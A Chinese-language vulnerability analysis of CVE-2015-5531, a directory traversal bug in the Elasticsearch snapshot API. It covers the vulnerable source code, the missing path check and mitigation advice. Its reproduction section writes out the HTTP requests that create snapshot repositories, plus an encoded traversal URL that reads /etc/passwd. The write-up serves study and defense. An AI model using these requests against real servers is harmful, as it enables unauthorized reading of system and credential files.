概述
漏洞名稱:Elasticsearch 快照API目錄遍歷漏洞
CVE 編號:CVE-2015-5531
CVSS 評分:7.5
影響版本:
Elasticsearch 1.0.0–1.6.0(1.5.1及以前版本無需配置即可觸發;1.5.2–1.6.0需配置path.repo
)
修復版本:≥ 1.6.1
漏洞類型:目錄遍歷 → 任意文件讀取
根本原因:
Elasticsearch 快照API未對用戶輸入的存儲路徑進行規范化校驗,攻擊者可通過構造含../
的惡意路徑參數,繞過目錄限制讀取服務器任意文件(如/etc/passwd
、配置文件或敏感數據)。
源碼分析
漏洞位置:org.elasticsearch.repositories.fs.FsRepository
public class FsRepository extends BlobStoreRepository {@Injectpublic FsRepository(RepositoryName name, RepositorySettings repositorySettings, Environment environment) throws IOException {// 關鍵漏洞點1:獲取location參數(用戶可控)String location = repositorySettings.settings().get("location", this.componentSettings.get("location"));// 關鍵漏洞點2:解析路徑但未規范化File locationFile = environment.resolveRepoFile(location);// 關鍵漏洞點3:創建文件系統訪問對象this.blobStore = new FsBlobStore(this.componentSettings, locationFile);}
}
漏洞核心:FsBlobStore
構造器
public FsBlobStore(Settings settings, File file) {this.file = file; // 直接存儲未規范化的用戶輸入路徑this.bufferSizeInBytes = (int) settings.getAsBytes("buffer_size", 102400).bytes();
}
漏洞觸發鏈
漏洞根源分析
-
路徑解析缺陷:
environment.resolveRepoFile()
僅驗證路徑是否在path.repo
配置范圍內- 但允許路徑包含
../
序列(如valid_path/../../../etc
)
-
缺少規范化校驗:
// 應有但缺失的安全檢查 Path normalized = locationFile.toPath().normalize(); if (!normalized.startsWith(environment.repoFiles()[0].toPath())) {throw new SecurityException("Path traversal attempt"); }
-
無快照名稱過濾:
- 快照名稱直接拼接路徑(
location + "/" + snapshot
) - 未過濾
snapshot
中的特殊字符
- 快照名稱直接拼接路徑(
漏洞復現
1. 手動復現步驟
(1)創建惡意倉庫:
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/test" }
}
(2)注入路徑遍歷字符創建快照:
PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" }
}
(3)讀取任意文件:
http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
ascii解碼:
影響范圍
受影響版本
分支 | 受影響版本 | 安全版本 |
---|---|---|
1.0.x–1.4.x | 全版本 | 無官方更新 |
1.5.x | 1.5.0–1.5.1 | ≥ 1.6.1 |
1.6.x | ≤ 1.6.0 | ≥ 1.6.1 |
漏洞啟示:
- 零信任路徑處理:所有用戶輸入路徑必須經
絕對路徑規范化 + 子目錄校驗
(參考OWASP路徑遍歷防護指南)。- 最小權限原則:備份目錄需獨立配置,且Elasticsearch進程權限應限制為僅能讀寫必要目錄。
- 縱深防御:結合應用層補丁、網絡隔離(防火墻規則)和文件監控(Auditd日志審計)多層防護。